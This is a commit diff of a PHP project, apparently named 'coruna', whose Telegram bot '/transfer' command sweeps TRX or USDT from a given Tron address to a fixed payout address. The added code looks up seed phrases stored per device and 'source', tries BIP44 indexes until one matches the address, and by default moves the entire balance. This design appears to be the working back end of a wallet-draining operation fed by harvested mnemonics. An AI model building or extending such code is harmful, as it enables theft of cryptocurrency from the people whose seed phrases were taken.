feature
This commit is contained in:
@@ -19,4 +19,14 @@ interface ChainDriver
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
|
||||
|
||||
public function isValidAddress(string $address): bool;
|
||||
|
||||
/**
|
||||
* Human-decimal native balance (e.g. TRX).
|
||||
*/
|
||||
public function getNativeBalance(string $address): string;
|
||||
|
||||
/**
|
||||
* Human-decimal token balance (e.g. USDT, 6 decimals on Tron).
|
||||
*/
|
||||
public function getTokenBalance(string $address, string $contract): string;
|
||||
}
|
||||
|
||||
@@ -75,6 +75,46 @@ class TronDriver implements ChainDriver
|
||||
return TronAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$account = $this->post('/wallet/getaccount', [
|
||||
'address' => $address,
|
||||
'visible' => true,
|
||||
]);
|
||||
$sun = (string) ($account['balance'] ?? 0);
|
||||
|
||||
return $this->fromSun($sun);
|
||||
}
|
||||
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT);
|
||||
$ext = $this->post('/wallet/triggerconstantcontract', [
|
||||
'owner_address' => $address,
|
||||
'contract_address' => $contract,
|
||||
'function_selector' => 'balanceOf(address)',
|
||||
'parameter' => $parameter,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
$hex = $ext['constant_result'][0] ?? null;
|
||||
if (! is_string($hex) || $hex === '') {
|
||||
return '0';
|
||||
}
|
||||
|
||||
$sun = gmp_strval(gmp_init($hex, 16), 10);
|
||||
|
||||
return $this->fromSun($sun);
|
||||
}
|
||||
|
||||
private function path(int $index): string
|
||||
{
|
||||
return "m/44'/195'/0'/0/{$index}";
|
||||
@@ -93,6 +133,17 @@ class TronDriver implements ChainDriver
|
||||
return $sun;
|
||||
}
|
||||
|
||||
private function fromSun(string $sun): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $sun)) {
|
||||
$sun = '0';
|
||||
}
|
||||
$human = bcdiv($sun, '1000000', 6);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function encodeTransferParameter(string $toBase58, string $amountSun): string
|
||||
{
|
||||
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use RuntimeException;
|
||||
|
||||
@@ -12,27 +15,48 @@ class TransferService
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
|
||||
* Sweep from a known device address to the configured payout address.
|
||||
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
||||
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
||||
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
||||
*
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
|
||||
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
||||
{
|
||||
try {
|
||||
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
|
||||
if (trim($mnemonic) === '') {
|
||||
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
|
||||
$to = trim((string) config('coruna.transfer.to_address', ''));
|
||||
if ($to === '') {
|
||||
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
||||
}
|
||||
|
||||
$index = (int) config('coruna.hot_wallet.index', 0);
|
||||
$asset = strtoupper(trim($asset));
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
if (! $driver->isValidAddress($fromAddress)) {
|
||||
return ['ok' => false, 'error' => 'Invalid from address'];
|
||||
}
|
||||
if (! $driver->isValidAddress($to)) {
|
||||
return ['ok' => false, 'error' => 'Invalid recipient address'];
|
||||
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
||||
}
|
||||
|
||||
$amount = $amount === null ? null : trim($amount);
|
||||
if ($amount === '') {
|
||||
$amount = null;
|
||||
}
|
||||
|
||||
if ($amount === null) {
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
||||
}
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
|
||||
$from = $driver->deriveAddress($mnemonic, $index);
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
||||
}
|
||||
|
||||
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
@@ -46,12 +70,97 @@ class TransferService
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
return ['ok' => true, 'txid' => $txid, 'from' => $from];
|
||||
return [
|
||||
'ok' => true,
|
||||
'txid' => $txid,
|
||||
'from' => $fromAddress,
|
||||
'to' => $to,
|
||||
'amount' => $amount,
|
||||
'asset' => $asset,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance(
|
||||
$fromAddress,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
if ($asset === 'TRX') {
|
||||
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
||||
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
||||
$balance = bcsub($balance, $reserve, 6);
|
||||
$balance = rtrim(rtrim($balance, '0'), '.');
|
||||
if ($balance === '' || str_starts_with($balance, '-')) {
|
||||
$balance = '0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (bccomp($balance, '0') <= 0) {
|
||||
throw new RuntimeException("No transferable {$asset} balance");
|
||||
}
|
||||
|
||||
return $balance;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{mnemonic: string, index: int}|null
|
||||
*/
|
||||
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
||||
{
|
||||
$addressRows = WalletAddress::query()
|
||||
->where('address', $fromAddress)
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
|
||||
if ($addressRows->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
$mnemonics = WalletMnemonic::query()
|
||||
->where('device_id', $row->device_id)
|
||||
->where(function ($q) use ($row) {
|
||||
if ($row->source === null || $row->source === '') {
|
||||
$q->whereNull('source')->orWhere('source', '');
|
||||
} else {
|
||||
$q->where('source', $row->source);
|
||||
}
|
||||
})
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
foreach ($mnemonics as $mnemonicRow) {
|
||||
$phrase = $mnemonicRow->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
continue;
|
||||
}
|
||||
for ($index = 0; $index <= $maxIndex; $index++) {
|
||||
try {
|
||||
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
||||
return ['mnemonic' => $phrase, 'index' => $index];
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||
|
||||
@@ -14,26 +14,52 @@ class TransferCommand
|
||||
public function __invoke(Nutgram $bot, string $args): void
|
||||
{
|
||||
$parts = preg_split('/\s+/', trim($args)) ?: [];
|
||||
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
|
||||
|
||||
if (count($parts) < 2) {
|
||||
$bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
|
||||
if ($parts === []) {
|
||||
$bot->sendMessage(
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
|
||||
."Omit amount to transfer all. Default asset: USDT.\n"
|
||||
.'To = TRANSFER_TO_ADDRESS (env).'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$to = $parts[0];
|
||||
$amount = $parts[1];
|
||||
$asset = strtoupper($parts[2] ?? 'USDT');
|
||||
$from = $parts[0];
|
||||
$asset = 'USDT';
|
||||
$amount = null;
|
||||
|
||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||
if (count($parts) === 2) {
|
||||
$second = strtoupper($parts[1]);
|
||||
if (in_array($second, ['TRX', 'USDT'], true)) {
|
||||
$asset = $second;
|
||||
} elseif ($this->isAmount($parts[1])) {
|
||||
$amount = $parts[1];
|
||||
} else {
|
||||
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
} elseif (count($parts) >= 3) {
|
||||
$asset = strtoupper($parts[1]);
|
||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $this->isAmount($parts[2])) {
|
||||
$bot->sendMessage('Invalid amount.');
|
||||
|
||||
return;
|
||||
}
|
||||
$amount = $parts[2];
|
||||
}
|
||||
|
||||
$bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
|
||||
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
|
||||
|
||||
$result = $this->transfers->handle('tron', $to, $amount, $asset);
|
||||
$result = $this->transfers->handle('tron', $from, $amount, $asset);
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
||||
|
||||
@@ -43,9 +69,14 @@ class TransferCommand
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'✅ Transfer submitted',
|
||||
'From: '.$result['from'],
|
||||
'To: '.$to,
|
||||
'Amount: '.$amount.' '.$asset,
|
||||
'To: '.$result['to'],
|
||||
'Amount: '.$result['amount'].' '.$result['asset'],
|
||||
'TxID: '.$result['txid'],
|
||||
]));
|
||||
}
|
||||
|
||||
private function isAmount(string $value): bool
|
||||
{
|
||||
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user